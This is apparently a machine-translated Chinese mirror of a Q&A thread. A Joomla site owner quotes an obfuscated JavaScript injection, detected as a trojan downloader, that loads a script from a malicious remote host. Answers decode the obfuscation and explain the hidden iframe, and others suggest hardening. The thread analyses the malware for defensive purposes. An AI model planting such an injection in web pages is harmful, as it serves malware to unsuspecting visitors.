此站点如何感染脚本?

问题描述 投票:99回答:8

我的Joomla!网站已被多次入侵。有人设法将以下垃圾注入了关键的php脚本,但我的意思是不谈论配置Joomla。该站点的访问量很少(有时我担心我可能是该站点的唯一访问者...),而且我不太在乎如何备份和运行该站点。我最终会解决的。

我的问题是,这种垃圾如何起作用?我看了一下,只是看不出这怎么造成任何伤害?它的作用是尝试下载一个名为ChangeLog.pdf的PDF文件,该文件感染了特洛伊木马,打开后将冻结您的Acrobat,并在计算机上造成严重破坏。它是如何做到的,我不知道,我不在乎。但是下面的脚本如何调用下载?

<script>/*Exception*/ document.write('<script src='+'h#^(t@)((t$&@p#:)&/!$/)@d$y#^#$n@$d^!!&n#s$)^-$)o^^(r!#g!!#$.^^@g))!a#m#@$e&$s^@@!t@@($!o@$p(.&@c&)@(o$m)).!$m$)y@(b@e()s&$t$@y&o$&(u#)$x&&^(i)-@^c!!&n$#.(@g)$e#(^n&!u(i&#&n(e&(!h&o@&^&l^$(l)&y$(#@w!o@!((o#d&^.^#)r$#^u!!$:(#@&8#)(0$8@&0^(/))s#o#^&#^f!$t$!o##n(&$i(^!c$(.!&c@o!&^m#&/&(s&$(o!f&!t@&o!!n)&i$&c!.#^^c)!$o@@((m@#/$^!g#^o$^&o&#g!l)@@@!e&.))c!)(o#@#^!m(&/^^l#^@i##(v&@e&)!$j^!a@$s#m!i)n$.!$c&$o)@$m^/@$v&i^d^()e(!o&&s@(z(@)^.@)c$&o^m)$)^/#$'.replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')+' defer=defer></scr'+'ipt>');</script>
<!--6f471c20c9b96fed179c85ffdd3365cf-->

ESET已将此代码检测为JS / TrojanDownloader.Agent.NRO木马

javascript joomla code-injection malware
8个回答
180
投票

在巨大的混乱字符串后注意replace调用:.replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')

将删除大多数特殊字符,将其转换为普通URL:

evil://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/

((我将http:手动更改为evil:

注意,正则表达式可以简化为.replace(/[#$@^&()!]/ig, '')

[如果看一下脚本,您会发现它是一个非常简单的脚本,它注入了一个隐藏的IFRAME,其中包含来自同一域的路径/index.php?ys

我在Fiddler中请求了该页面,但没有内容。


34
投票

这些答案可能有助于您了解恶意JavaScript代码的性质,但是您应该寻找的是一种关闭Joomla引擎中固有漏洞的方法。预包装的框架容易出现漏洞,无论是有意还是无意的,尤其是当您考虑到它们是为在unix,mac和Windows环境下工作而设计的。

我的工作要求我在许多类型的服务器和系统上为客户和我自己运行许多域,应用程序和框架。随着时间的流逝,我已经看到越来越多的机器人在爬这些系统,以寻找由这些框架创建的后门入口的已知漏洞/入口。当我很少使用任何类型的框架时,这是一件好事,我确保重命名大多数(如果不是整个文件结构)大多数文件,以摆脱那些令人讨厌的漏洞/后门。至少您可以重命名将使大多数bot摆脱掉的目录,但是我的方法是完全消除为框架的性质提供线索的引用,其中包括重命名整个文件结构而不仅仅是目录。始终保持相对于旧命名约定的新命名约定的映射,以使向基本框架中添加插件变得容易。一旦掌握了这一点,就可以通过编程方式重命名整个框架文件结构以获得更快的结果,这在必须处理需要使用插件等更新其框架的客户端时特别有用。 >


20
投票

它只是将正则表达式替换为脚本网址以提供给您


8
投票

它使用替换功能通过正则表达式替换垃圾字符,代码没有错:


7
投票

其加载脚本来自


2
投票

阅读全部内容后,发现它是一个字符串,后跟一个替换命令。


2
投票

我在index *。*文件中的页面上有相同的摘要。我正在用PHP编写自己的代码。我的问题不是这是如何工作的,但我想问的是如果您知道他们的后门,该如何保护。我更改了表单,并通过替换<>和http://等来阅读$ _POST和$ _GET。


2
投票

我的两分钱。您是否可以安装Joomla备份工具(例如Joomlapack)?

© www.soinside.com 2019 - 2024. All rights reserved.